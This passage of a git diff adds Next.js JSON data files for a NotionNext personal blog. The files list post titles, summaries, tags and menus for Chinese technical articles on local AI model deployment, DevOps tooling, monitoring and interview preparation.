MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"推荐","page":"2"},"__N_SSG":true} \ No newline at end of file diff --git "a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\226\207\345\255\227.json" "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\226\207\345\255\227.json" new file mode 100644 index 000000000..0cdbe72c5 --- /dev/null +++ "b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/\346\226\207\345\255\227.json" @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":3,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd